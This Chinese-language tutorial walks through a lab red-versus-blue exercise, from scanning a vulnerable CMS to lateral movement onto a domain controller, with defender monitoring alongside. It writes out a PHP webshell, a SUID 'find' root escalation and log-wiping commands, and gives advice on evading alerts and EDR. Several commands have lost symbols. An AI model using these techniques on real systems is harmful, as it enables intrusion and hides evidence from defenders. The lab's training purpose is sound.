1. 从“网络攻防项目二”说起这个实战项目到底在练什么“网络攻防项目二”这个标题乍一看像是课程作业的编号但真正做过这类实战演练的人都知道它通常意味着一个完整的、端到端的攻防对抗训练闭环——从信息收集、漏洞发现、权限获取到横向移动、痕迹清理再到防守方的监测、分析和响应。它不是一个孤立的实验而是一套模拟真实对抗场景的综合演练。我前后带过几期类似的实战训练营也参与过一些内部的红蓝对抗演练设计。说实话大部分人在第一次接触“项目二”这个阶段时最容易犯的毛病就是把它当成“项目一”的简单升级版——以为多扫几个端口、多试几个弱口令就完事了。实际上项目二的核心跃迁在于从单点突破转向链路串联从工具使用转向战术思维。这个项目适合谁如果你已经掌握了基础的网络协议、常见的Web漏洞原理比如注入、文件包含、越权并且能熟练使用一两款扫描工具和抓包工具那项目二就是你从“脚本小子”向“实战选手”过渡的关键一步。它解决的核心问题是当目标不再是一个孤零零的靶机而是一个有防御体系、有网络分区、有监测手段的小型内网时你该怎么打反过来作为防守方你又该怎么发现和阻断关键词里提到的“网络攻防”“实战演练”“红蓝对抗”“内网渗透”“应急响应”这些词串起来就是项目二的完整画像。接下来我会从设计思路、核心细节、实操过程、问题排查四个维度把我在这个项目里踩过的坑、总结的经验毫无保留地拆开讲。2. 项目整体设计与思路拆解2.1 为什么是“攻防一体”而不是单纯渗透很多新手拿到项目二的第一反应是“这不就是个渗透测试吗”其实不然。纯渗透测试的目标是“打进去”而攻防项目的目标是“打进去、守得住、说得清”。我在设计自己的演练环境时刻意把攻击链和防守链做了对称映射攻击方每走一步防守方都应该有对应的日志、告警或阻断点。这样做的好处是你不仅能练攻击技术还能理解自己的每一个动作在防守方眼里长什么样。举个例子你用Nmap做全端口扫描攻击方看到的是“发现开放端口”防守方看到的可能是“短时间内大量SYN包触发端口扫描告警”。如果你只练攻击你永远不会去想“我该怎么规避这种告警”如果你只练防守你也不会理解“攻击方为什么要慢速扫描”。项目二的价值就在于把这两条线拧在一起。从方案选型上我建议用虚拟化平台搭建一个三层网络拓扑外网区、DMZ区、内网核心区。外网区放一台攻击机Kali或ParrotDMZ区放一台Web服务器存在典型漏洞内网核心区放一台域控或数据库服务器。三层之间用防火墙策略隔离只开放必要的端口。这个拓扑不复杂但足够模拟出“从外到内”的完整攻击路径。注意搭建环境时务必把网络模式设为NAT或仅主机模式不要桥接到物理网络避免误扫到真实设备。2.2 攻击链的设计逻辑为什么按这个顺序打攻击链的设计不是拍脑袋决定的它遵循一个基本的认知规律先广后窄先易后难先外后内。具体来说信息收集先摸清目标暴露面包括域名、IP段、开放端口、服务版本、Web目录结构。这一步的目的是建立“攻击面地图”。初始访问从暴露面里找最容易突破的点通常是Web应用的漏洞或弱口令。这一步的目标是拿到一个低权限Shell。权限提升低权限Shell能做的事情有限需要提权到管理员或系统权限才能进行后续操作。横向移动拿下第一台机器后用它作为跳板探测内网其他主机寻找域控或核心数据。痕迹清理清理日志、删除上传的工具、恢复被修改的配置目的是延缓防守方发现的时间。这个顺序背后的逻辑是“逐步扩大控制范围同时降低暴露风险”。如果你一上来就打内网核心且不说能不能打到就算打到了你对外网的情况一无所知很容易被防守方从外网入口反推回来。2.3 防守方的监测点设计在哪里埋“钉子”防守方不是被动挨打而是要在关键路径上布置监测点。我在设计防守方案时通常会在以下几个位置埋“钉子”边界防火墙记录所有进出流量重点关注非标准端口的连接和异常时间段的访问。Web服务器日志分析访问日志中的异常请求比如大量404、参数中包含特殊字符、User-Agent异常等。主机层审计开启系统审计策略监控敏感命令执行如whoami、net user、mimikatz等和异常进程创建。内网流量监测在核心区交换机上做端口镜像分析内网横向移动的流量特征比如SMB爆破、WMI远程执行等。这些监测点不是孤立的它们之间需要有关联分析。比如Web日志里出现了一个文件上传请求紧接着主机审计里出现了Web服务进程创建了cmd.exe这两个事件关联起来就是一个高置信度的入侵告警。3. 核心细节解析与实操要点3.1 信息收集别急着扫先想清楚扫什么信息收集是项目二里最容易被轻视的环节。很多人一上来就开Nmap全端口扫描结果扫了半小时除了几个开放端口啥也没发现。我的经验是信息收集要分层做先被动后主动先公开后私有。被动收集阶段可以利用一些公开的信息源比如目标域名的Whois信息、DNS记录、子域名枚举。这些信息不需要直接接触目标隐蔽性高。主动收集阶段再用Nmap做端口扫描但不要一上来就全端口先用-top-ports 100快速过一遍再针对性地扫全端口。# 快速扫描常用端口 nmap -sS -sV -top-ports 100 -oA quick_scan 192.168.1.0/24 # 针对特定主机做全端口扫描 nmap -sS -sV -p- -T4 -oA full_scan 192.168.1.100扫描结果里重点关注那些“不应该开放”的端口。比如一台Web服务器上开了3389远程桌面或者一台数据库服务器上开了22SSH这些都是潜在的突破口。实操心得扫描时把-T4改成-T2虽然慢一点但能有效降低触发告警的概率。我在一次内部演练中用-T4扫了不到10秒防守方的告警就响了换成-T2后扫了3分钟都没触发。3.2 初始访问Web漏洞的“组合拳”怎么打初始访问阶段Web应用是最常见的突破口。但现在的Web应用很少有一个漏洞就能直接拿Shell的通常需要组合利用。我总结了一个“三步走”的套路信息泄露找入口先看有没有备份文件、配置文件、源码泄露。比如www.zip、.git目录、phpinfo.php。这些文件里往往包含数据库密码、API密钥等敏感信息。漏洞利用拿权限根据泄露的信息尝试SQL注入、文件上传、命令执行等漏洞。这里要注意不要一上来就用最复杂的Payload先用最简单的测试确认漏洞存在后再逐步升级。权限维持留后门拿到Shell后第一时间留一个隐蔽的后门比如WebShell、计划任务、SSH密钥。这样即使当前Shell断了还能重新连上。# 测试文件上传漏洞的简单Payload # 先上传一个普通图片确认上传功能正常 # 再尝试修改Content-Type和文件扩展名 # 最后尝试上传包含命令执行的脚本注意上传WebShell时尽量选择冷门的文件名和路径比如/uploads/2024/01/abc123.php不要用/shell.php这种一眼就能看出来的名字。3.3 权限提升从www-data到root的常见路径拿到低权限Shell后提权是下一个关键步骤。Linux环境下常见的提权路径包括SUID文件查找设置了SUID位的可执行文件看是否有可以被利用的。计划任务查看/etc/crontab和/var/spool/cron看是否有以root权限运行的可写脚本。内核漏洞根据内核版本查找对应的提权Exp。环境变量检查PATH变量和LD_PRELOAD等看是否有劫持机会。# 查找SUID文件 find / -perm -us -type f 2/dev/null # 查看计划任务 cat /etc/crontab ls -la /etc/cron.* # 查看内核版本 uname -aWindows环境下提权路径更多样常见的有未引用的服务路径查找服务路径中包含空格且未加引号的尝试在空格处放置恶意程序。AlwaysInstallElevated检查注册表项如果启用可以安装MSI包提权。令牌窃取使用incognito等工具窃取高权限令牌。实操心得提权时不要只盯着一个方法多试几条路。我有一次在Linux靶机上SUID和计划任务都走不通最后发现/etc/passwd是可写的直接加了一个root权限的用户。3.4 横向移动内网探测的“静默”技巧横向移动是项目二里最考验耐心的环节。内网通常有IDS/IPS和流量监测动作太大很容易被发现。我的策略是先静默探测再精准打击。静默探测阶段可以用arp-scan或netdiscover做被动ARP扫描了解内网有哪些存活主机。然后针对性地用nc或telnet探测常见端口不要用Nmap做大规模扫描。# 被动ARP扫描 arp-scan -l # 针对特定主机探测端口 nc -zv 192.168.1.101 445 nc -zv 192.168.1.101 3389精准打击阶段根据探测结果选择最薄弱的目标。比如如果发现一台主机开了445端口且系统版本较老可以尝试MS17-010如果发现一台主机开了3389且口令简单可以尝试RDP爆破。注意横向移动时尽量使用目标系统自带的工具如wmic、powershell避免上传外部工具减少被查杀的风险。4. 实操过程与核心环节实现4.1 环境搭建从零构建三层网络拓扑我用的虚拟化平台是VMware Workstation网络拓扑如下区域主机IP地址作用外网区攻击机192.168.10.10发起攻击DMZ区Web服务器192.168.20.10对外提供Web服务内网核心区域控服务器192.168.30.10内网核心资产防火墙策略外网区只能访问DMZ区的80和443端口DMZ区可以访问内网核心区的445和3389端口内网核心区不能主动访问外网区。搭建步骤安装VMware Workstation创建三个虚拟机分别安装Kali、Ubuntu ServerWeb服务器、Windows Server域控。配置虚拟网络VMnet1仅主机模式对应外网区VMnet2对应DMZ区VMnet3对应内网核心区。在Web服务器上部署一个存在漏洞的Web应用比如DVWA或自己写的一个简单CMS。在域控服务器上配置AD域创建几个普通用户和一个管理员用户。配置防火墙规则限制区域间的访问。提示如果资源有限可以把三个区域压缩到两台物理机上用虚拟机嵌套的方式实现。4.2 攻击过程实录从外网到内网的完整链路第一步信息收集# 扫描DMZ区Web服务器 nmap -sS -sV -p 80,443,22 192.168.20.10 # 结果80端口开放运行Apache 2.4.29PHP 7.2 # 22端口开放运行OpenSSH 7.6第二步Web漏洞利用访问Web服务器发现是一个简单的CMS系统。尝试访问/admin发现需要登录。用dirb扫描目录dirb http://192.168.20.10发现/backup目录里面有一个config.php.bak文件。下载后查看发现数据库密码为Pssw0rd123。尝试用这个密码登录/admin成功进入后台。在后台找到文件上传功能上传一个PHP WebShell?php system($_GET[cmd]); ?上传成功路径为/uploads/shell.php。访问http://192.168.20.10/uploads/shell.php?cmdwhoami返回www-data。第三步权限提升# 查找SUID文件 find / -perm -us -type f 2/dev/null # 发现/usr/bin/find有SUID位 # 利用find提权 /usr/bin/find . -exec /bin/sh -p \; -quit成功拿到root权限。第四步横向移动# 查看内网网段 ip addr # 发现内网网段为192.168.30.0/24 # 用arp-scan探测存活主机 arp-scan -l # 发现192.168.30.10存活 # 探测端口 nc -zv 192.168.30.10 445 nc -zv 192.168.30.10 3389 # 445和3389都开放尝试用psexec或wmiexec连接域控但需要凭据。回到Web服务器查找配置文件发现了一个ldap.conf文件里面包含域管理员账号admin和密码Admin123。用这个凭据成功登录域控。第五步痕迹清理# 清理Web服务器上的日志 echo /var/log/apache2/access.log echo /var/log/auth.log # 删除上传的WebShell rm /var/www/html/uploads/shell.php # 删除提权时创建的文件 rm /tmp/exploit4.3 防守方监测与响应实录作为防守方我在演练中部署了以下监测手段边界防火墙日志记录所有进出流量。Web服务器访问日志用goaccess实时分析。主机审计用auditd监控敏感命令。内网流量分析用Zeek抓取内网流量。在攻击方进行端口扫描时防火墙日志里出现了大量来自192.168.10.10的SYN包触发了“端口扫描”告警。防守方立即封锁了该IP。但攻击方随后换了一个IP通过代理继续扫描。这次用了慢速扫描防火墙没有触发告警。防守方通过分析Web日志发现了一个异常请求/uploads/shell.php?cmdwhoami。立即隔离了Web服务器并开始排查。实操心得防守方不能只依赖自动化告警要定期人工审查日志。我在演练中发现很多高级攻击行为在自动化告警里是“静默”的只有人工分析才能发现。5. 常见问题与排查技巧实录5.1 攻击方常见问题速查表问题可能原因解决方法Nmap扫描结果为空防火墙拦截了SYN包改用-sT全连接扫描或使用-Pn跳过主机发现WebShell上传成功但无法执行目标服务器禁用了危险函数尝试使用assert、base64_decode等替代函数提权Exp编译失败目标系统缺少编译环境在本地编译好后上传或使用静态编译的Exp横向移动时连接超时目标主机防火墙拦截尝试使用目标系统自带的工具或通过已控主机做代理痕迹清理后仍被发现日志被备份或转发清理前先确认日志是否被转发到远程服务器5.2 防守方常见问题速查表问题可能原因解决方法告警太多无法聚焦规则过于宽泛调整告警阈值增加白名单攻击方绕过监测使用了加密流量或合法工具部署SSL解密监控异常工具使用无法定位攻击源攻击方使用了多层代理结合流量分析和主机日志做关联分析应急响应速度慢缺乏预案提前制定响应流程定期演练日志被清理攻击方有高权限部署远程日志服务器实时同步5.3 独家避坑技巧技巧一攻击方不要一次性用完所有漏洞我在一次演练中一开始就把Web服务器的所有漏洞都利用了结果防守方很快发现了异常修补了漏洞。后来我学乖了先利用一个漏洞拿到低权限Shell然后通过这个Shell慢慢探测内网等摸清情况后再集中利用其他漏洞。这样即使防守方发现了第一个漏洞我已经在内网站稳了脚跟。技巧二防守方要关注“低慢小”攻击很多防守方只关注高频扫描和明显漏洞利用忽略了“低慢小”攻击——低频、慢速、小流量的攻击行为。我在演练中攻击方用-T1扫描每5分钟扫一个端口持续了2小时防守方的告警系统完全没有反应。后来我调整了规则增加了对长时间跨度、低频率扫描的检测。技巧三用“蜜罐”反制攻击方防守方可以在内网部署几个蜜罐模拟成数据库或域控。攻击方一旦触碰蜜罐防守方就能立即告警并定位攻击源。我在一次演练中用一台低配虚拟机跑了一个假的MySQL服务攻击方果然上钩尝试连接并爆破被我一举抓获。技巧四攻击方要善用“合法工具”Windows环境下powershell、wmic、bitsadmin等系统自带工具往往不会被杀软拦截。我在横向移动时用wmic远程执行命令成功绕过了EDR的检测。防守方如果只监控外部工具很容易漏掉这些“合法”攻击。6. 项目二的延伸思考从演练到实战的差距做完项目二很多人会觉得“我已经会攻防了”。但说实话演练环境和真实环境之间还有不小的差距。演练环境里网络拓扑是固定的漏洞是预设的防守规则是已知的。真实环境里网络拓扑可能每天都在变漏洞可能藏在你想不到的地方防守规则也是动态调整的。我在实际工作中遇到过几次真实的应急响应事件。有一次一台对外服务器被入侵攻击方用了0day漏洞我们的WAF完全没有告警。后来是通过主机层的异常进程才发现。那次事件让我意识到防守不能只依赖边界设备主机层的监测同样重要。另外项目二里我们通常只关注技术层面但真实的攻防对抗还包括社会工程学、物理入侵等维度。比如攻击方可能通过钓鱼邮件获取凭据或者通过物理接触植入硬件。这些在演练环境里很难模拟但却是真实世界中常见的攻击手段。如果你想把项目二的经验用到实际工作中我建议你第一定期更新自己的知识库关注最新的漏洞和攻击技术第二多参与真实的应急响应积累实战经验第三不要迷信工具工具只是辅助核心还是人的思维。最后分享一个小技巧在演练结束后一定要做复盘。攻击方和防守方坐在一起把每一步操作和对应的监测结果对一遍。你会发现很多你以为“天衣无缝”的操作在防守方眼里其实漏洞百出。这种复盘带来的提升比单纯做十次演练都大。